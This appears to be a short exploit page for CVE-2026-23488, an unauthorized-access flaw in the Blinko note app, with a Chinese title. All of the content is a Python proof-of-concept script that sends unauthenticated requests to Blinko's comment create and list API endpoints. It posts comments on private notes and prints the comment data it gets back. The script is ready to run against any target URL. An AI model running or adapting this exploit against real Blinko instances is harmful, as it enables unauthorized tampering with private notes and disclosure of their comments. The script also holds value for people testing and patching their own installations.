CVE-2026-23488 Blinko未授权访问漏洞

import requests def check_vulnerability(target_url, note_id): """ Proof of Concept for CVE-2026-23488 Tests unauthorized comment creation and listing. """ # Endpoint for creating comments create_url = f"{target_url}/api/v1/comment/create" # Endpoint for listing comments list_url = f"{target_url}/api/v1/comment/list" headers = { "Content-Type": "application/json", # Note: No Authorization/Cookie header is sent to exploit the vulnerability } # Attempt to create a comment on a private note without auth payload_create = { "noteId": note_id, "content": "Unauthorized comment via CVE-2026-23488" } try: response = requests.post(create_url, json=payload_create, headers=headers, timeout=5) if response.status_code == 200 or response.status_code == 201: print(f"[+] Vulnerability Confirmed: Successfully created comment on Note ID {note_id}") print(f" Response: {response.text}") else: print(f"[-] Failed to create comment. Status: {response.status_code}") except Exception as e: print(f"[!] Error during comment creation: {e}") # Attempt to list comments on a private note without auth params_list = { "noteId": note_id } try: response = requests.get(list_url, params=params_list, headers=headers, timeout=5) if response.status_code == 200: print(f"[+] Vulnerability Confirmed: Successfully listed comments for Note ID {note_id}") print(f" Data: {response.text}") else: print(f"[-] Failed to list comments. Status: {response.status_code}") except Exception as e: print(f"[!] Error during comment listing: {e}") if __name__ == "__main__": # Replace with actual target and a valid note ID target = "http://localhost:3000" target_note_id = 1 check_vulnerability(target, target_note_id)